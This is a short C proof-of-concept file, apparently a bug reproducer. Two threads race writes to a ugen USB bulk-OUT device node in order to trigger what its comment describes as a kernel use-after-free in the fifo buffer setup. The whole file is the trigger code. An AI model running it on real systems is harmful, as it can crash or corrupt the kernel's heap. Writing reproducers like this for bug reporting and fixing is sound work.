/*
 * DF-5287 variant C -- double-setup race on the WRITE side of a ugen
 * bulk-OUT endpoint.  Unlike the read side, write() callbacks
 * (ugen_ctrl_write_callback) run continuously without any external
 * input, because the QEMU usb-storage device always accepts bulk-OUT
 * data.  When the second concurrent ugen_transfer_setup() calls
 * usb_fifo_alloc_buffer() -> usb_fifo_free_buffer() WITHOUT priv_lock
 * while the first setup's live callback iterates f->free_q /
 * f->used_q inside usb_fifo_get_data(), the fifo mbuf storage is
 * kfree()d underneath the callback => use-after-free (write into
 * freed heap / queue corruption).
 */
#include <sys/types.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#ifndef DEV
#define DEV	"/dev/usb/0.2.1"	/* bulk OUT endpoint of ugen0.2 */
#endif

static int fd;
static int eio_seen;
static pthread_barrier_t bar;
static char buf[64];

static void *
writer(void *arg)
{
	int i;

	pthread_barrier_wait(&bar);
	for (i = 0; i < 8; i++) {
		ssize_t n = write(fd, buf, sizeof(buf));
		if (n < 0 && errno == EIO) {
			eio_seen = 1;
			break;
		}
	}
	return (NULL);
}

int
main(int argc, char **argv)
{
	pthread_t a, b;
	int i, iter = (argc > 1) ? atoi(argv[1]) : 4000;

	for (i = 0; i < iter; i++) {
		fd = open(DEV, O_WRONLY);
		if (fd < 0)
			err(1, "open (iter %d)", i);
		pthread_barrier_init(&bar, NULL, 2);
		if (pthread_create(&a, NULL, writer, NULL) ||
		    pthread_create(&b, NULL, writer, NULL))
			err(1, "pthread_create");
		pthread_join(a, NULL);
		pthread_join(b, NULL);
		pthread_barrier_destroy(&bar);
		close(fd);
		if (eio_seen) {
			printf("EIO after %d iterations "
			    "(refcount exhausted by orphaned xfers)\n", i);
			return (2);
		}
		if ((i % 100) == 0) {
			printf("iter %d\n", i);
			fflush(stdout);
		}
	}
	printf("done %d iterations\n", iter);
	return (0);
}
